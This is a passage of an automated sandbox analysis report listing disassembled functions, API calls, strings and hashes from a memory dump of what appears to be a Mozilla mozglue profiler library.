Part of subcall function 6C4ECFE0: LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C51D1C5), ref: 6C50D52E
EnterCriticalSection.KERNEL32(6C56E7DC), ref: 6C50D690
LeaveCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C51D1C5), ref: 6C50D751

Strings

MOZ_CRASH(), xrefs: 6C50D4BB

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: a9cbf9e015de472a4033159c2818579f3d094e3d5fbba684a03ca3a9441fb460
Instruction ID: 4e1f92cc1dca2467975c5d101e90376b4013873581bbfcb7c11e96fb7ce0db71
Opcode Fuzzy Hash: a9cbf9e015de472a4033159c2818579f3d094e3d5fbba684a03ca3a9441fb460
Instruction Fuzzy Hash: 3C51EF71B087018FD314CF29C99472AB7E1EB8A304F554A2EE999C7F95E770A840CB91

Function 6C534630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C534721

Strings

profiler-paused, xrefs: 6C5346E4
., xrefs: 6C53476A
-%llu, xrefs: 6C534733

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 64cde2ced348b0aaff1659a0fa5f85da3dc6ba2108677eb2197f93b16e862e12
Instruction ID: d0092b530a8a554d47dd8e631a3f198536a0a79a523a499be345ddbe44937b94
Opcode Fuzzy Hash: 64cde2ced348b0aaff1659a0fa5f85da3dc6ba2108677eb2197f93b16e862e12
Instruction Fuzzy Hash: C7417572F086189BCB08CF78DC5115EBBE5EF85354F11863EE849ABB81FB3198448782

Function 6C559830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C55985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C55987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5598DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5598D9

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 2cf179d405926b3a32d071dcc0faf43a033a4c3fade0ce7643f71015a28efe79
Instruction ID: 484a7c7cb7097d39eebc99b791812cd10903346171b44b3ef07895b592249225
Opcode Fuzzy Hash: 2cf179d405926b3a32d071dcc0faf43a033a4c3fade0ce7643f71015a28efe79
Instruction Fuzzy Hash: D8312671A04108ABDB14AF5ADC046EE77A9DF85314F40402DEA0A9BB40DB716D158BE1

Function 6C5346E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C534721

Part of subcall function 6C4E4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C523EBD,00000017,?,00000000,?,6C523EBD,?,?,6C4E42D2), ref: 6C4E4444

Strings

profiler-paused, xrefs: 6C5346E4
., xrefs: 6C53476A
-%llu, xrefs: 6C534733

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 14307bab1e4aa59a8bf387a49685544e20feb575ed65d530d40b236ec082a7d7
Instruction ID: 8481a8d2e41a6eca20decdff82ea2c7c9970a2c0aa75798684d35fb6a8cce5f1
Opcode Fuzzy Hash: 14307bab1e4aa59a8bf387a49685544e20feb575ed65d530d40b236ec082a7d7
Instruction Fuzzy Hash: D0312871F042189BCB08CF6DDC956AEBBE6DB88314F15863EE8099BB41F7719C058B90

Function 6C53B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C523EBD,6C523EBD,00000000), ref: 6C4E42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C53B127), ref: 6C53B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C53B4E4

Strings

pid:, xrefs: 6C53B4DE

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 695b2c802c4b350f99ec4f8ed23223c38d16af9fc4670986cce9fa1409015497
Instruction ID: d59e950f5f2b3bcee2e38fb4c94427174ff568bf64ca89e4401b99c5884728d8
Opcode Fuzzy Hash: 695b2c802c4b350f99ec4f8ed23223c38d16af9fc4670986cce9fa1409015497
Instruction Fuzzy Hash: FC312331A01628CBCB00EFA9DC80AAEB7B6FF44318F541529D84967A41F731A845CBF5

Function 6C4FBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C547A3F), ref: 6C4FBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C547A3F), ref: 6C4FBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C547A3F), ref: 6C4FBF7E

Strings

Ul, xrefs: 6C4FBF84

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Ul
API String ID: 4279176481-397755254
Opcode ID: 6f3f024b4cd36b5b40ecb9fcdc9a39588d6260d0aac00586fe9abb591838ceb9
Instruction ID: 460926e967f2773a9596389532d014f45925a7451907c1765e7779f94ce2e278
Opcode Fuzzy Hash: 6f3f024b4cd36b5b40ecb9fcdc9a39588d6260d0aac00586fe9abb591838ceb9
Instruction Fuzzy Hash: D511C0B92006048FC729CF0CDA99A26FBF8FF59304355885EE98A8B761C771E804CB94

Function 6C52E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52E577
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52E584
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C52E5A1, 6C52E5CC, 6C52E5FF, 6C52E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C52E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C52E722, 6C52E750, 6C52E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C52E826, 6C52E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C52E777

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f13ec44801bc64997471a6ace3d4c947866f23a937b6734d4a7f48a6516a7913
Instruction ID: f4457bce21652fd5f7db346ed60d1e028be3c01e0ed3864507aa4591a1313a07
Opcode Fuzzy Hash: f13ec44801bc64997471a6ace3d4c947866f23a937b6734d4a7f48a6516a7913
Instruction Fuzzy Hash: BC115E31A04254DFCB00AF2ACC49B6ABBF4FB89329F420619E88557F60D774A845CB99

Function 6C530C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C530CD5

Part of subcall function 6C51F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C51F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C530D40
free.MOZGLUE ref: 6C530DCB

Part of subcall function 6C505E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C505EDB
Part of subcall function 6C505E90: memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C505F27
Part of subcall function 6C505E90: LeaveCriticalSection.KERNEL32(?), ref: 6C505FB2

free.MOZGLUE ref: 6C530DDD
free.MOZGLUE ref: 6C530DF2

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 48995a9fdaab40bd66d6d8cc8eb03d76b82ea320f1c841ec4846ca7aaf1a0132
Instruction ID: 6ffce777ccb0b13fc4fd9994cfd38f66b48ae240701c94fdcc391b52ab38b137
Opcode Fuzzy Hash: 48995a9fdaab40bd66d6d8cc8eb03d76b82ea320f1c841ec4846ca7aaf1a0132
Instruction Fuzzy Hash: 0A413A71918794CBD720CF29C84079AFBE5BFC9714F519A2EE8D887B50E7709844CB82

Function 6C520800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E7DC), ref: 6C520838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C52084C
EnterCriticalSection.KERNEL32(?), ref: 6C5208AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5208BD
LeaveCriticalSection.KERNEL32(6C56E7DC), ref: 6C5208D5

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: b974de186694031805b0053c3663be3dca03ca2455c0188d193df5fe1e63c586
Instruction ID: 7a548347a62052d55633fc173f2a1de6eff5502d7a713cbcfdde81a3368d6b6d
Opcode Fuzzy Hash: b974de186694031805b0053c3663be3dca03ca2455c0188d193df5fe1e63c586
Instruction Fuzzy Hash: F221B031B022498BEB04DF6ADC54BBFB3B9EF85708F500529E509A7B80DB75A8058BD4

Function 6C53CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53CDA4

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

Part of subcall function 6C53D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C53CDBA,00100000,?,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53D158
Part of subcall function 6C53D130: InitializeConditionVariable.KERNEL32(00000098,?,6C53CDBA,00100000,?,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53CDC4

Part of subcall function 6C537480: ReleaseSRWLockExclusive.KERNEL32(?,6C5415FC,?,?,?,?,6C5415FC,?), ref: 6C5374EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53CECC

Part of subcall function 6C4FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4FCAA2

Part of subcall function 6C52CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C53CEEA,?,?,?,?,00000000,?,6C52DA31,00100000,?,?,00000000), ref: 6C52CB57
Part of subcall function 6C52CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C52CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C53CEEA,?,?), ref: 6C52CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53D058

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 6af2b9089959b95da559f14d282f8f28b2a633e8409032a24ba3ea26d8edceff
Instruction ID: 12810a33ac020fc3b67ffeca73d7d7691439f1ad8465950599865bbde17fe688
Opcode Fuzzy Hash: 6af2b9089959b95da559f14d282f8f28b2a633e8409032a24ba3ea26d8edceff
Instruction Fuzzy Hash: B8D15E71A04B169FD708CF28C980B99B7F1BF89308F01976DD8598B751EB31B9A5CB81

Function 6C4F1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4F17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4F18EE
free.MOZGLUE(?), ref: 6C4F1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4F194C

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: de9286dd7a9527f03409006514bf3bbd62e825c5158c5e048f3a365ef4b428e8
Instruction ID: daa3714ece87e021c80da893a9a0b9639a79f8a1240283616ed79f4bc8ab3efd
Opcode Fuzzy Hash: de9286dd7a9527f03409006514bf3bbd62e825c5158c5e048f3a365ef4b428e8
Instruction Fuzzy Hash: 0681C4B0A112059FCB08CF68D8D4DAEBBB1FF89314F04456DE865AB754D730E856CBA2

Function 6C505C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C505D40
EnterCriticalSection.KERNEL32(6C56F688), ref: 6C505D67
__aulldiv.LIBCMT ref: 6C505DB4
LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C505DED

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 4b1f1dce19e2727402b1bf6ccd8b0dbe8a069725ac0944c9e72bfa92484535b8
Instruction ID: 053b2694a40b6f565d11661bb22e108ae19db99be5cab6cc346eb04ef0f4ab02
Opcode Fuzzy Hash: 4b1f1dce19e2727402b1bf6ccd8b0dbe8a069725ac0944c9e72bfa92484535b8
Instruction Fuzzy Hash: 71514972E001198FCF08CE6DCC55ABEBBB2FB85304F6A862AD811A7760D7706945CB94

Function 6C4ECDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4ECEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4ECEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4ECF4E

Strings

0, xrefs: 6C4ECF30

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 73591a4773bd61ca3f3c3e5ca0166278ac714bc6c005445002ce9526f4afe213
Instruction ID: b1a3ae0eb2fd0d7ef4d55b30101ef6602e07ef40cdc005d72e0627d77658c281
Opcode Fuzzy Hash: 73591a4773bd61ca3f3c3e5ca0166278ac714bc6c005445002ce9526f4afe213
Instruction Fuzzy Hash: 4D51F275A0025ACFCB04CF1CC890EAABBA5EF99300F1A859DD8595F391D731AD06CBE0

Function 6C5477D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5477FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C547829

Part of subcall function 6C51CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4E31A7), ref: 6C51CC45
Part of subcall function 6C51CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4E31A7), ref: 6C51CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C54789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5478CF

Part of subcall function 6C4E4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4E4E5A
Part of subcall function 6C4E4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4E4E97

Part of subcall function 6C4E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C523EBD,6C523EBD,00000000), ref: 6C4E42A9

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: e40cad4aa542e3c0537a0564d7bcc1c61a253e37ffcde6d76e3b0f9d0da0fd64
Instruction ID: e518a413865405f8c4d3b9e92202c82f8c6329cfae54f5712dc6c2d39776894a
Opcode Fuzzy Hash: e40cad4aa542e3c0537a0564d7bcc1c61a253e37ffcde6d76e3b0f9d0da0fd64
Instruction Fuzzy Hash: FB417E719047469BD300DF29C88096AFBB4FFCA264F604A2DE4A987650DB709959CB92

Function 6C526470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5282BC,?,?), ref: 6C52649B

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5264A9

Part of subcall function 6C51FA80: GetCurrentThreadId.KERNEL32 ref: 6C51FA8D
Part of subcall function 6C51FA80: AcquireSRWLockExclusive.KERNEL32(6C56F448), ref: 6C51FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C52653F
free.MOZGLUE(?), ref: 6C52655A

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 3cdc13d91bfe87aace51e64658bbd9d2065cc4733e1fdd2349a5a0b6f3ac0dbc
Instruction ID: e776ed04b7e8f6cd4bfd52135328103555e2bd535c36a8b2ee76eb3a72ce7d66
Opcode Fuzzy Hash: 3cdc13d91bfe87aace51e64658bbd9d2065cc4733e1fdd2349a5a0b6f3ac0dbc
Instruction Fuzzy Hash: BB318FB5A04315AFDB00CF14DC84A9ABBE4FFC8314F40442EE89A87741EB34E919CB92

Function 6C51FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C53D019,?,?,?,?,?,00000000,?,6C52DA31,00100000,?), ref: 6C51FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C53D019,?,?,?,?,?,00000000,?,6C52DA31,00100000,?,?), ref: 6C51FFF5
free.MOZGLUE(?,?,?,?,?,6C53D019,?,?,?,?,?,00000000,?,6C52DA31,00100000,?), ref: 6C52001B
